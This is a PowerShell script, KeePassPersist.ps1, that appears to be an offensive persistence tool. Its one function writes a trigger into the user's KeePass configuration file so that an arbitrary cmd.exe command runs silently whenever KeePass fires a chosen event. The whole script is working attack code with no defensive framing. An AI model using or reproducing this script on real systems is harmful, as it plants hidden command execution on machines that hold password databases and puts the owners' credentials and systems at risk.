KeePassPersist.ps1

function Invoke-KeePassPersist {
param(
[string]$Command = $(throw "-Command is required."),
[string]$Name = $(throw "-Name is required."),
[string]$Path = $env:APPDATA + "\KeePass\KeePass.config.xml"
)
#Create a new Guid value
$tGuid = New-Guid
$GuidBytes = $tGuid.ToByteArray()
$Guid = [Convert]::ToBase64String($GuidBytes)

#Define the XML Payload
$XMLString = @"
<Trigger>
     <Guid>!GUID!</Guid>
     <Name>!NAME!</Name>
     <Events>
      <Event>
       <TypeGuid>2PMe6cxpSBuJxfzi6ktqlw==</TypeGuid>
       <Parameters />
      </Event>
     </Events>
     <Conditions />
     <Actions>
      <Action>
       <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
       <Parameters>
        <Parameter>cmd.exe</Parameter>
        <Parameter>/c !COMMAND!</Parameter>
        <Parameter>False</Parameter>
        <Parameter>1</Parameter>
        <Parameter />
       </Parameters>
      </Action>
     </Actions>
    </Trigger>
"@
$XMLString = $XMLString -replace "!GUID!",$Guid
$XMLString = $XMLString -replace "!NAME!",$Name
$XMLString = $XMLString -replace "!COMMAND!", $Command
$XML = [xml]$XMLString

#parse the config file
$Config = [xml](get-content $Path)
$foundNode = $Config.Configuration.TriggerSystem

$triggerNode = $Config.ImportNode($XML.Trigger,$true)
$TriggersNode = $Config.configuration.Application.TriggerSystem.FirstChild
$TriggersNode.AppendChild($triggerNode) |out-null
$Config.Save("$Path")
}